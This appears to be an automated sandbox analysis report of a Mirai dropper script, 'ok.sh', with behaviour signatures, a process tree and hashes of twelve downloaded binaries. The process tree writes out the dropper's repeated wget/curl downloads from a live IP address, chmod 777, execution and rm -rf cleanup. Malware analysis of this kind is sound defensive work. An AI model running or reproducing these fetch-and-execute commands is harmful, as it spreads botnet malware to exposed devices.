Analysis

  • max time kernel
    137s
  • max time network
    139s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    22/06/2026, 16:25

General

  • Target
    ok.sh
  • Size 1KB
  • Sample260622-txecases7k
  • SHA256 0bc4cf3fed9fd5c474fd5a3cfd4b8b47b3f559942eeecad0066bb507a1e0e25f
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 47 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ok.sh
    /tmp/ok.sh
    1⤵
    • Executes dropped EXE
    PID:653
    • /usr/bin/wget
      wget http://5.182.210.61/3dfa29
      2⤵
      • Writes file to tmp directory
      PID:659
    • /usr/bin/curl
      curl -O http://5.182.210.61/3dfa29
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:680
    • /bin/chmod
      chmod 777 3dfa29
      2⤵
      • File and Directory Permissions Modification
      PID:682
    • /tmp/3dfa29
      ./3dfa29 bc
      2⤵
        PID:683
      • /bin/rm
        rm -rf 3dfa29
        2⤵
          PID:685
        • /bin/rm
          rm -rf 3dfa29.1
          2⤵
            PID:686
          • /usr/bin/wget
            wget http://5.182.210.61/c482f7
            2⤵
            • Writes file to tmp directory
            PID:687
          • /usr/bin/curl
            curl -O http://5.182.210.61/c482f7
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:688
          • /bin/chmod
            chmod 777 c482f7
            2⤵
            • File and Directory Permissions Modification
            PID:689
          • /tmp/c482f7
            ./c482f7 bc
            2⤵
              PID:690
            • /bin/rm
              rm -rf c482f7
              2⤵
                PID:691
              • /bin/rm
                rm -rf c482f7.1
                2⤵
                  PID:692
                • /usr/bin/wget
                  wget http://5.182.210.61/1453be
                  2⤵
                  • Writes file to tmp directory
                  PID:693
                • /usr/bin/curl
                  curl -O http://5.182.210.61/1453be
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:697
                • /bin/chmod
                  chmod 777 1453be
                  2⤵
                  • File and Directory Permissions Modification
                  PID:708
                • /tmp/1453be
                  ./1453be bc
                  2⤵
                    PID:710
                  • /bin/rm
                    rm -rf 1453be
                    2⤵
                      PID:712
                    • /bin/rm
                      rm -rf 1453be.1
                      2⤵
                        PID:714
                      • /usr/bin/wget
                        wget http://5.182.210.61/76f105
                        2⤵
                        • Writes file to tmp directory
                        PID:715
                      • /usr/bin/curl
                        curl -O http://5.182.210.61/76f105
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:724
                      • /bin/chmod
                        chmod 777 76f105
                        2⤵
                        • File and Directory Permissions Modification
                        PID:734
                      • /tmp/76f105
                        ./76f105 bc
                        2⤵
                          PID:735
                        • /bin/rm
                          rm -rf 76f105
                          2⤵
                            PID:738
                          • /bin/rm
                            rm -rf 76f105.1
                            2⤵
                              PID:740
                            • /usr/bin/wget
                              wget http://5.182.210.61/5eab74
                              2⤵
                              • Writes file to tmp directory
                              PID:743
                            • /usr/bin/curl
                              curl -O http://5.182.210.61/5eab74
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:752
                            • /bin/chmod
                              chmod 777 5eab74
                              2⤵
                              • File and Directory Permissions Modification
                              PID:754
                            • /tmp/5eab74
                              ./5eab74 bc
                              2⤵
                              • Modifies Watchdog functionality
                              • Enumerates active TCP sockets
                              • Changes its process name
                              • Reads system network configuration
                              • Reads runtime system information
                              PID:755
                            • /bin/rm
                              rm -rf 5eab74
                              2⤵
                                PID:757
                              • /bin/rm
                                rm -rf 5eab74.1
                                2⤵
                                  PID:760
                                • /usr/bin/wget
                                  wget http://5.182.210.61/259653
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:761
                                • /usr/bin/curl
                                  curl -O http://5.182.210.61/259653
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:762
                                • /bin/chmod
                                  chmod 777 259653
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:763
                                • /tmp/259653
                                  ./259653 bc
                                  2⤵
                                    PID:764
                                  • /bin/rm
                                    rm -rf 259653
                                    2⤵
                                      PID:766
                                    • /bin/rm
                                      rm -rf 259653.1
                                      2⤵
                                        PID:767
                                      • /usr/bin/wget
                                        wget http://5.182.210.61/e5a1f7
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:768
                                      • /usr/bin/curl
                                        curl -O http://5.182.210.61/e5a1f7
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:777
                                      • /bin/chmod
                                        chmod 777 e5a1f7
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:790
                                      • /tmp/e5a1f7
                                        ./e5a1f7 bc
                                        2⤵
                                        • Modifies Watchdog functionality
                                        • Enumerates active TCP sockets
                                        • Changes its process name
                                        • Reads system network configuration
                                        • Reads runtime system information
                                        PID:791
                                      • /bin/rm
                                        rm -rf e5a1f7
                                        2⤵
                                          PID:794
                                        • /bin/rm
                                          rm -rf e5a1f7.1
                                          2⤵
                                            PID:797
                                          • /usr/bin/wget
                                            wget http://5.182.210.61/fa906b
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:799
                                          • /usr/bin/curl
                                            curl -O http://5.182.210.61/fa906b
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:808
                                          • /bin/chmod
                                            chmod 777 fa906b
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:809
                                          • /tmp/fa906b
                                            ./fa906b bc
                                            2⤵
                                              PID:810
                                            • /bin/rm
                                              rm -rf fa906b
                                              2⤵
                                                PID:812
                                              • /bin/rm
                                                rm -rf fa906b.1
                                                2⤵
                                                  PID:813
                                                • /usr/bin/wget
                                                  wget http://5.182.210.61/d34e03
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:814
                                                • /usr/bin/curl
                                                  curl -O http://5.182.210.61/d34e03
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:815
                                                • /bin/chmod
                                                  chmod 777 d34e03
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:816
                                                • /tmp/d34e03
                                                  ./d34e03 bc
                                                  2⤵
                                                    PID:817
                                                  • /bin/rm
                                                    rm -rf d34e03
                                                    2⤵
                                                      PID:819
                                                    • /bin/rm
                                                      rm -rf d34e03.1
                                                      2⤵
                                                        PID:820
                                                      • /usr/bin/wget
                                                        wget http://5.182.210.61/37bdbc
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:821
                                                      • /usr/bin/curl
                                                        curl -O http://5.182.210.61/37bdbc
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:822
                                                      • /bin/chmod
                                                        chmod 777 37bdbc
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:823
                                                      • /tmp/37bdbc
                                                        ./37bdbc bc
                                                        2⤵
                                                          PID:824
                                                        • /bin/rm
                                                          rm -rf 37bdbc
                                                          2⤵
                                                            PID:826
                                                          • /bin/rm
                                                            rm -rf 37bdbc.1
                                                            2⤵
                                                              PID:827
                                                            • /usr/bin/wget
                                                              wget http://5.182.210.61/7ceda2
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:828
                                                            • /usr/bin/curl
                                                              curl -O http://5.182.210.61/7ceda2
                                                              2⤵
                                                              • Checks CPU configuration
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:829
                                                            • /bin/chmod
                                                              chmod 777 7ceda2
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:830
                                                            • /tmp/7ceda2
                                                              ./7ceda2 bc
                                                              2⤵
                                                                PID:831
                                                              • /bin/rm
                                                                rm -rf 7ceda2
                                                                2⤵
                                                                  PID:833
                                                                • /bin/rm
                                                                  rm -rf 7ceda2.1
                                                                  2⤵
                                                                    PID:834
                                                                  • /usr/bin/wget
                                                                    wget http://5.182.210.61/21ab20
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:835
                                                                  • /usr/bin/curl
                                                                    curl -O http://5.182.210.61/21ab20
                                                                    2⤵
                                                                    • Checks CPU configuration
                                                                    • Reads runtime system information
                                                                    • Writes file to tmp directory
                                                                    PID:836
                                                                  • /bin/chmod
                                                                    chmod 777 21ab20
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:837
                                                                  • /tmp/21ab20
                                                                    ./21ab20 bc
                                                                    2⤵
                                                                      PID:838
                                                                    • /bin/rm
                                                                      rm -rf 21ab20
                                                                      2⤵
                                                                        PID:839
                                                                      • /bin/rm
                                                                        rm -rf 21ab20.1
                                                                        2⤵
                                                                          PID:840

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v16

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            1453be

                                                                            • Path /tmp/1453be
                                                                            • Size 47KB
                                                                            • SHA256 df7c62b363067b9246e07bc11a5baf073492058e76d4e55a47d7b76ddb720860
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            21ab20

                                                                            • Path /tmp/21ab20
                                                                            • Size 57KB
                                                                            • SHA256 3b1e5dc338ee8e4793d1d2183ca0343c87797ce163406ef686f011a70721233d
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            259653

                                                                            • Path /tmp/259653
                                                                            • Size 49KB
                                                                            • SHA256 3a4b1b5eb7f348e86ac9d6e13e71a29804303f93dd89e82cbffc757e2c65ab48
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            37bdbc

                                                                            • Path /tmp/37bdbc
                                                                            • Size 63KB
                                                                            • SHA256 ad30815f17aa159560014af28a3022e4bc6bd901ab454bdc2fe067ec1436b47d
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            3dfa29

                                                                            • Path /tmp/3dfa29
                                                                            • Size 42KB
                                                                            • SHA256 459d8396f635b67eb1324e553de8187306a108f4f0f7d78792cd3abfcbcfe900
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            5eab74

                                                                            • Path /tmp/5eab74
                                                                            • Size 48KB
                                                                            • SHA256 e75d0ad374ac610f53a440128ce5a3be8ffd016fc5ef16cc1d029d465f0f9f36
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            76f105

                                                                            • Path /tmp/76f105
                                                                            • Size 45KB
                                                                            • SHA256 0e596de45a903f2021988805644dcdcfb5455885c36bcb6a2d4af0743b83dbce
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            7ceda2

                                                                            • Path /tmp/7ceda2
                                                                            • Size 45KB
                                                                            • SHA256 6d5869023af5ef528acdc1c43aab42fd7e764ff9e232320e8c3d9c7e30033209
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            c482f7

                                                                            • Path /tmp/c482f7
                                                                            • Size 40KB
                                                                            • SHA256 deae8b8f3adf3c9517f537cc28aeda5541ef996d4af85d5a804c0257b08dfdb2
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            d34e03

                                                                            • Path /tmp/d34e03
                                                                            • Size 42KB
                                                                            • SHA256 d5b4241db6212225218b685016c6388e7db74013c20d536d9a82f61bab6a127a
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            e5a1f7

                                                                            • Path /tmp/e5a1f7
                                                                            • Size 117KB
                                                                            • SHA256 8357e5ce33843cc608dd8d36f2f782a78c3ae6001324b52d9b877d3571818e88
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            fa906b

                                                                            • Path /tmp/fa906b
                                                                            • Size 61KB
                                                                            • SHA256 de2ce4c85ca73390b92b7fa401b361e67268aead7abb9aa0e0a6e1aad3ed2d79
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH